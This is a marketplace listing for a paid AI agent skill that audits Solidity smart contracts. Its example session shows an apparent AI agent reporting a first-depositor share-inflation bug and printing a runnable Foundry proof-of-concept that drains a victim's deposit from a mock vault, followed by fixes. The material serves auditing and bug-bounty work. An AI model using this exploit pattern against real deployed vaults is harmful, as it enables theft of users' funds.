Smart Contract Audit Hunter

    by Pum482930

    1

    Systematic Solidity auditing workflow for finding, validating, and reporting smart contract vulnerabilities with Foundry PoCs.

    $5

    Secure checkout via Stripe

    Money-back guarantee

    Converts to your local currency at checkout

    Security scanned

    Works with the AI Agents you already use

    Smart Contract Audit Hunter

    Example session with this skill installed

    Audit the Vault.sol contract in the provided repo for share price manipulation bugs. I need a Foundry PoC if you find a way to steal funds via a first-depositor inflation attack.

    • Read your context and instructions
    • Compiled the smart contract audit

    I have analyzed Vault.sol at commit a1b2c3d. I identified a potential first-depositor inflation attack in the deposit() function where the share calculation rounds down, allowing an attacker to inflate the share price and steal subsequent deposits.

    Found Vulnerability: Share Price Inflation in Vault.sol

    IDTitleSeverityStatusAffected File
    H-01First depositor can inflate share price to steal user fundsHighConfirmed (PoC)Vault.sol:88

    Root Cause

    In Vault.sol:88, the previewDeposit function calculates shares using (amount * totalSupply) / totalAssets(). For the first depositor, totalSupply is 0, so they receive 1:1 shares. By depositing 1 wei, then "donating" a large amount of tokens directly to the vault, the attacker increases totalAssets() without increasing totalSupply, causing future depositors to receive 0 shares for their assets.

    Proof of Concept

    Save this as test/Exploit.t.sol and run forge test --mt testInflationAttack.

    // SPDX-License-Identifier: MIT
    pragma solidity ^0.8.20;
    
    import "forge-std/Test.sol";
    import "../src/Vault.sol";
    import "../src/MockToken.sol";
    
    contract VaultExploitTest is Test {
        Vault vault;
        MockToken token;
        address attacker = address(0xBAD);
        address victim = address(0x123);
    
        function setUp() public {
            token = new MockToken("Test", "TST", 18);
            vault = new Vault(address(token));
            token.mint(attacker, 1000e18);
            token.mint(victim, 1000e18);
        }
    
        function testInflationAttack() public {
            // 1. Attacker deposits 1 wei
            vm.startPrank(attacker);
            token.approve(address(vault), 1);
            vault.deposit(1, attacker);
            
            // 2. Attacker "donates" 100e18 tokens to vault
            token.transfer(address(vault), 100e18);
            vm.stopPrank();
    
            // 3. Victim deposits 50e18 tokens
            vm.startPrank(victim);
            token.approve(address(vault), 50e18);
            vault.deposit(50e18, victim);
            vm.stopPrank();
    
            // 4. Victim receives 0 shares due to rounding
            assertEq(vault.balanceOf(victim), 0);
            
            // 5. Attacker withdraws all funds
            vm.prank(attacker);
            vault.withdraw(1, attacker, attacker);
            assertGe(token.balanceOf(attacker), 150e18);
        }
    }
    

    Next steps

    1. Implement the "Virtual Shares" or "Internal Accounting" pattern to prevent donation-based inflation.
    2. Add a minimum liquidity mint (burn first 1000 shares) to the initializer.
    3. Review withdraw() to ensure it handles rounding in favor of the protocol.

    Connects securely to your tools. The creator never sees your data.

    About this skill

    Smart contract audits often fail when they result in vague lists of theoretical risks rather than actionable, proven vulnerabilities. This skill provides a disciplined, phase-based workflow to transform an unfamiliar Solidity codebase into validated, reproducible findings that meet the standards of top-tier bug bounty platforms and competitive audit contests.

    What it does

    • Systematic Mapping lists entry points, privileged roles, and value flows to establish a technical map before hunting begins.
    • Invariant Modeling identifies core system properties that must never be broken, such as share price integrity or withdrawal limits.
    • Vulnerability Triage applies seven specific gates to every hypothesis to verify reachability, impact, and economic feasibility.
    • Foundry PoC Generation produces runnable exploit tests that demonstrate concrete losses or state corruption at specific commit hashes.
    • Contest-Ready Reporting structures findings into formatted reports including root cause analysis, attack paths, and remediation steps.

    How it works

    1. Phase 0 (Intake): Provide the repo link, commit hash, and audit scope (e.g., Sherlock, Code4rena, or private review).
    2. Phase 1-2 (Mapping): The skill analyzes inheritance, external dependencies, and trust boundaries to build a threat model.
    3. Phase 3-4 (Review & Triage): It systematically reviews functions moving value or checking authority, then filters leads through reachability and impact gates.
    4. Phase 5-6 (Prove & Report): It generates Foundry test code to confirm the bug and writes the final report following industry templates.

    Frameworks & tools

    This skill utilizes Solidity and EVM-specific patterns, leveraging Foundry for proof-of-concept testing. It references tools like slither, cloc, and forge tree for codebase mapping and static analysis when available.

    Why this beats prompting it yourself

    Generic prompts often hallucinate vulnerabilities or miss subtle integration bugs like read-only reentrancy or L2-specific gas issues. This skill enforces a "disprove your own hypothesis" rule, ensuring you spend time only on high-severity, reachable bugs that actually pay out.

    Use cases

    • Audit Contests: Generate validated findings for Code4rena, Sherlock, or Codehawks competitions.
    • Bug Bounties: Triage and report vulnerabilities for active Immunefi or HackenProof programs.
    • Pre-deployment Review: Perform a final systematic check of internal vault, bridge, or AMM code before launch.
    • Protocol Triage: Verify if a suspected bug reported by a community member is a valid threat or a duplicate.

    Known limitations

    Focuses strictly on Solidity and EVM chains. Vyper, Rust, and ZK circuits are supported conceptually but lack specific checklists. It cannot execute code without a local Foundry environment.

    How to use

    1. 1

      Connect your agent to the Agensi MCP

      Copy the prompt and paste it into Claude, ChatGPT, Cursor or any agent that supports MCP. It sets up the connection for you. Manual setup

    2. 2

      Sign in to Agensi

      Your agent shows a sign-in link. Sign in and click Allow.

    3. 3

      Ask for what you need

      Your agent loads this skill and uses it on your task. It always asks before buying a skill.

    Reviews

    No reviews yet

    Be one of the first to try it. Every listed skill goes through the trust checks below.

    Security scanned

    Checked by our 8-point scan before listing

    Fresh listing

    Recently published to Agensi

    Money-back guarantee

    Doesn't do what its page promises? You get your money back.

    Frequently Asked Questions

    You will receive structured audit reports containing root cause analysis, attack paths, and remediation steps. The skill also generates runnable Foundry proof of concept tests to demonstrate concrete losses or state corruption at specific commit hashes.

    You should provide the repository link or files, the specific commit hash or tag, the target chain, and the audit scope or rules. It is also helpful to clarify if the goal is for a specific contest, a bug bounty submission, or a private review.

    This skill is optimized for Solidity and EVM chains. While it can apply its systematic phases to Vyper, Rust, or ZK circuits conceptually, it lacks specific checklists for those languages and focuses primarily on Ethereum compatible environments.

    Unlike generic prompts that might miss subtle integration bugs, this skill enforces a discipline of mapping entry points and invariants first. It requires every hypothesis to pass through seven triage gates to ensure you only focus on high severity, reachable bugs that have been proven with evidence.

    You can prompt your agent to perform a systematic audit of a specific protocol, request a Foundry PoC for a suspected vulnerability, or ask it to triage a bug report for validity and impact. It is also useful for reviewing specific components like bridges, vaults, or oracles before deployment.

    The skill utilizes shell tools for codebase mapping and requires a local Foundry environment to execute the generated exploit tests. If these tools are unavailable, it will still provide the review and PoC code manually while marking them as unverified.

    New in Web3 & Crypto

    Find more skills like this on the Claude Skills Marketplace, the Codex Skills Marketplace and the Gemini Skills Marketplace, or browse Claude Skills for Web3 & Crypto.